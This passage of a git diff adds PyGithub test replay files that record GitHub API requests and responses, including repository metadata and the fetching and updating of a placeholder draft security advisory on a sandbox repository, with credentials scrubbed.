com/repos/JLLeitschuh/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/PyGithub/deployments","created_at":"2020-02-10T03:37:20Z","updated_at":"2020-02-10T03:37:22Z","pushed_at":"2023-03-30T17:41:46Z","git_url":"git://github.com/JLLeitschuh/PyGithub.git","ssh_url":"git@github.com:JLLeitschuh/PyGithub.git","clone_url":"https://github.com/JLLeitschuh/PyGithub.git","svn_url":"https://github.com/JLLeitschuh/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13756,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-30T17:54:08Z","pushed_at":"2023-03-30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":1612,"subscribers_count":1} + +https +GET +api.github.com +None +/repos/JLLeitschuh/PyGithub/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"73281061c5916d2c2206f8cbd00f491ff98cf740a6ee4b910fd1732ceee03bf9"'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '70'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'F5F5:1B0A:3C0D2F:7AE80D:64260736')] +[] + diff --git a/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt b/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt new file mode 100644 index 00000000..060c3370 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt @@ -0,0 +1,33 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4949'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '51'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF6:0CD0:83CCF:1112F8:642C2A7A')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc245445c2b0e27c99c03fb12288237c4aabfa6eaebf41e015bacf4d9a586a64"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:44:45 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '52'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF7:69B4:27DBB3:516052:642C2A7A')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:44:45Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"}],"cwe_ids":["CWE-402"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test updating a GHSA via the API", "description": "This is an updated detailed description of this advisories impact and patches.", "severity": "low", "cve_id": "CVE-2000-00001", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "c-package"}, "patched_versions": "4.0.7", "vulnerable_functions": ["function-name-a"], "vulnerable_version_range": "<=4.0.6"}], "cwe_ids": ["CWE-402", "CWE-500"], "credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bd3e30c29eb49cefeddb7476088cb5f1705171c9c0ced3ace712a5b149797cfb"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, 